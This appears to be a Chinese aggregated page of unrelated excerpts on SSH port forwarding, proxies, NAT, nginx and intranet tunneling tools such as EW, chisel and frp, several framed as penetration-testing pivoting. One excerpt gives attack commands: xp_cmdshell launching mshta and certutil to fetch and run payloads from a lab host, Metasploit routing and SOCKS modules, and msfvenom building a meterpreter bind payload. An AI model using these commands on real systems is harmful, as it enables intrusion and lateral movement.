最近工作中经常需要ssh登录到某台跳板机,再连接受限网络环境中的某台服务器。以前经常用SSH端口转发这一功能,但周围的同事好像对这个并不清楚,这里记录一下以备其它同事询问。
在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
SSH(Secure Shell)是一种加密的网络协议,用于安全地远程登录和执行命令。除了远程登录外,SSH还具备其他功能,其中一个重要的功能就是端口转发。SSH端口转发是一种将网络流量从一个端口转发到另一个端口的机制,通过SSH通道进行安全传输。在本文中,我们将详细介绍SSH端口转发的概念、类型和用途。
SSH端口转发是一种通过SSH协议在本地和远程主机之间建立安全通道,实现端口之间的数据转发。它允许您在不直接访问目标主机的情况下,通过安全的SSH连接来访问该主机上的服务。通过SSH端口转发,您可以将本地端口与远程主机上的服务端口相关联,使得在本地主机上运行的应用程序能够通过SSH隧道与远程主机上的服务进行通信。
ssh是我使用最频繁的两个命令行工具之一(另一个则必须是vim)。有了ssh,我可以远程处理各种可能出现的问题而无需肉身到现场。
EW(Earthworm)是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
SSH 是一种建立在应用层基础上的安全协议,利用SSH进行数据传输时也是较为可靠和安全的。当有明文数据传输时,为保障其安全,可以利用SSH隧道对其进行加密安全传输,本文中讲到的SSH隧道用法均可以保障安全传输,文中不详做介绍,本文着重讲解除安全传输之外的其他使用场景,来分别分析三种SSH隧道的用法。
在研究人员的渗透测试中,EW很好用,体积小,Linux为30kb左右,windows为56kb左右。EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。
在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。最常见的端口转发工具不限于以下几款,大家可以根据在实际测试过程的需要进行选择。
在安全领域,流量转发有许多应用,本文简单举例一些使用场景,以及自己用代码实现高效转发流量
本节主要介绍通过云主机自带的iptables(防火墙)功能来做代理服务的转发,因为MySQL的用户比较多可以看到很多网友对这里也有一些需求所以这里以它为例,但通过本方式除MySQL外还可以实现很多服务(Redis\MongoDB\SQLServer)内外网的互通。 以MySQL为例本机介绍三个话题:
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。由于目前使用的人比较少,因此对于有些杀软还不能准确的识别出该工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,是进行内网穿透的一个鲜为人知的好工具。
在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具,进行端口转发。
正向代理和反向代理,都是通过第三个服务器做转发。不同的是方向代理,目标主机主动连接代理主机建立连接,客户端不需要直到主机的具体地址。
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
ssh隧道大致可以分为3种,分别为本地端口转发,远程端口转发,动态端口转发,本文将让你彻底搞懂这3个转发的命令表达形式,让你能够灵活运用解决生活中的各种特殊场景。
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
一、代理服务器 1、什么是代理服务器 代理服务器,客户机在发送请求时,不会直接发送给目的主机,而是先发送给代理服务器,代理服务接受客户机请求之后,再向主机发出,并接收目的主机返回的数据,存放在代理服务器的硬盘中,再发送给客户机。
ssh 会自动加密和解密所有的ssh客户端与服务端之间的网络数据。但是ssh 还提供了一个端口转发的功能。转发是一种与其他网络应用程序交互的方式,它能将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密以及解密服务。这一过程有时也被叫做隧道
内网穿透的作用包括跨网段访问一个局域网中的一台主机。 📷 如上图,假设我们想要通过主机 A 访问主机 C,但是主机 A 和主机 C 绑定的都是私有 ip 地址,所以它们之间是无法直接进行通信的。要想使得 A 和 C 能够进行通信,就需要用到内网穿透的技术。 我们可以借助 frps(服务端)和 frpc(客户端)来实现主机 A 对主机 C 的访问。 需要做的是: 在绑定了公网 ip 的主机 B 中配置 frps(服务端) 在主机 C 中配置 frpc(客户端) frps/frpc 的工具包的 github 地
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,
在攻击机上,配置 /etc/proxychains.conf 文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:
本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/11903758.html
说到SSH终端工具,大家首先想到的可能会是putty、xshell这些老牌客户端。以上这些工具能够流行至今,并有一定的用户群体,一定有其独特之处。不过在互联网日益发达的今天,我们工作中的使用需求也越来越多,比如:在远程连接服务器、运行Linux命令的同时,可能还需要传输一些文件;我们希望可以同时连接多台服务器,在多个窗口下管理,便于相互切换;在管理Linux的同时,还可以运行cmd/zsh以及gitbash,而不是开多个软件......
客户端无法直接请求服务器,只能将请求发往转发代理服务器(简称代理服务器),代理服务器将请求转发给服务器,接收到服务器响应后再将响应转发回客户端。适用于客户端从内部网络访问外部网络时,可能由于防火墙的存在无法直接访问外网,这时需要借助转发代理服务器访问外部网络
有了Web代理,客户端就可以与代理进行对话,然后由代理代表客户端与服务器进行交流。客户端仍然会完成对事务的处理,但它是通过代理服务器提供的优质服务来实现的。HTTP 的代理服务器既是 Web 服务器又是 Web 客户端。HTTP 客户端会向代理发送请求报文,代理服务器必须像 Web 服务器一样,正确地处理请求和连接,然后返回响应。同时,代理自身要向服务器发送请求,这样,其行为就必须像正确的 HTTP客户端一样,要发送请求并接收响应。
nginx是一个高性能的http服务器,反向代理服务器,负载均衡器和邮件代理服务器。
从技术层面来讲,隧道是一种通过互联网的基础设施在网络之间传递数据的方式,其中包括数据封装、传输和解包在内的全过程,使用隧道传递的数据(或负载)可以使用不同协议的数据帧或包。
虚拟主机是一种特殊的模拟硬件的软件技术,它可以将网络上的一台物理计算机映射成多个虚拟主机,每个虚拟主机可以独立对外提供www服务,这样就可以实现一台物理主机对外提供多个web服务了。并且每个虚拟主机之间是独立的,互不影响的。
端口映射:端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。比如,我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。并且,在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器能准确的将消息发送给外网请求用户的主机。在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全
SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes
本文基于Lighthouse服务器,使用nginx创建端口代理虚拟主机,将本地交换环上的端口映射到外部公网上的端口上,使得可以通过宫外IP访问本地的服务。解决社区中部分同学运行在本地端口上的服务无法通过外网访问的问题。这里使用我的前一篇教程五分钟在腾讯云lighthouse上搭建markdown协作平台,将文中搭建的Markdown协作平台暴露至公网上作为一个示例。
代理服务器顾名思义,客户机在向目的主机发送请求的时候,不会直接发送,而是先发送给代理服务器,代理服务器接受客户机请求之后,再向之际发出。代理服务器同样可以接收主机返回的数据,存放在代理服务器的硬盘中,再发给客户机。核心是转发。
假设我们要将数据从主机A推送到主机B,根据我们之前的理解,是可以通过网络层进行路由的,这就是网络层在做决策,所以在网络层就要先决策该报文是要转发给和我处于同一网段的其它主机,还是交到下一跳,决策了之后再把报文向下交付,最后把报文交到路由器中。
自己对内网渗透搭建链路上很不熟练,乘着出差路上测试一下,有不当之处多多指正。好久不发文了,居然有付费阅读了,借此机会测试一下,内容比较粗糙,后期在全文发。相关工具在后台回复“01代理转发”可以获取下载链接。
目前遇到SecureCRT SSH直接连接阿里云香港节点的云主机总是隔段时间就连不上的问题
参考:http://www.0-sec.org/Tools/Cobalt%20Strike/32.html
Calico 是一个纯三层的数据中心网络方案,而且无缝集成像 OpenStack 这种 Iaas 云架构,能够提供可控的 VM、容器、裸机之间的 IP 通信。为什么说它是纯三层呢?因为所有的数据包都是通过路由的形式找到对应的主机和容器的,然后通过 BGP 协议来将所有路由同步到所有的机器或数据中心,从而完成整个网络的互联。
SSH 隧道是一种安全的数据传输方法,它允许我们在不安全的网络上建立一个安全的连接。SSH 隧道提供两大功能:
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:
Termius Mac中文版是适用于macOS, Windows 和Linux的现代SSH 来组织,访问和连接到您的服务器。Termius允许您将主机组织成组。组允许您共享设置,但每个主机可以有自己独立的首选项。这些数据以及连接和命令历史记录可以安全地同步到您的所有设备。Termius使用端到端加密来确保您的数据安全可靠。
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
NAT英文全称是“Network Address Translation”,中文意思是“网络地址转换”,它是一个IETF(Internet Engineering Task Force, Internet工程任务组)标准,允许一个整体机构以一个公用IP(Internet Protocol)地址出现在Internet上。顾名思义,它是一种把内部私有网络地址(IP地址)翻译成合法网络IP地址的技术。因此我们可以认为,NAT在一定程度上,能够有效的解决公网地址不足的问题。
接下来介绍Nginx的重要功能:反向代理+负载均衡。单体Nginx的性能虽然不错,但也是有瓶颈的。打个比方:用户请求发起一个请求,网站显示的图片量比较大,如果这个时候有大量用户同时访问,全部的工作量都集中到了一台服务器上,服务器不负重压,可能就崩溃了。高并发场景下,自然需要多台服务器进行集群,既能防止单个节点崩溃导致平台无法使用,又能提高一些效率。一般来说,Nginx完成10万多用户同时访问,程序就相对容易崩溃。
Envoy是Istio数据平面核心组件,在Istio架构中起着非常重要的作用,本文首先介绍Envoy的基本概念及工作流程,再从Istio的设计角度出发,对Envoy在Istio中如何部署及如何对入站出站流量进行代理转发及流量劫持进行具体分析,最后通过实验加以验证。
继下面三篇文章完成了kvm虚拟化管理平台webvirtmgr环境的部署安装: 一般情况下,虚拟机(下面称vm)跟宿主机通过网桥方式进行通信,只要宿主机能联网,那么vm也就能顺利联网。 然而,我的测试环境下的网络环境比较特殊: 没有内网交换机设置,也就是说内网没有网关,宿主机默认的网关是外网地址的。 如下,宿主机开启了两个网卡:em1(外网),em2(内网,加入到网桥br0中) [root@openstack ~]# ip addr #查看宿主机的网卡配置情况 1: lo: <LOOP
在进行网络浏览或爬虫等相关工作时,我们经常会遇到需要使用 SOCKS5 代理认证的情况。然而,某些浏览器可能不提供原生支持 SOCKS5 代理认证的选项,给我们带来了一些困扰。本文将为大家介绍几种解决浏览器不支持 SOCKS5 代理认证问题的方法。
领取专属 10元无门槛券
手把手带您无忧上云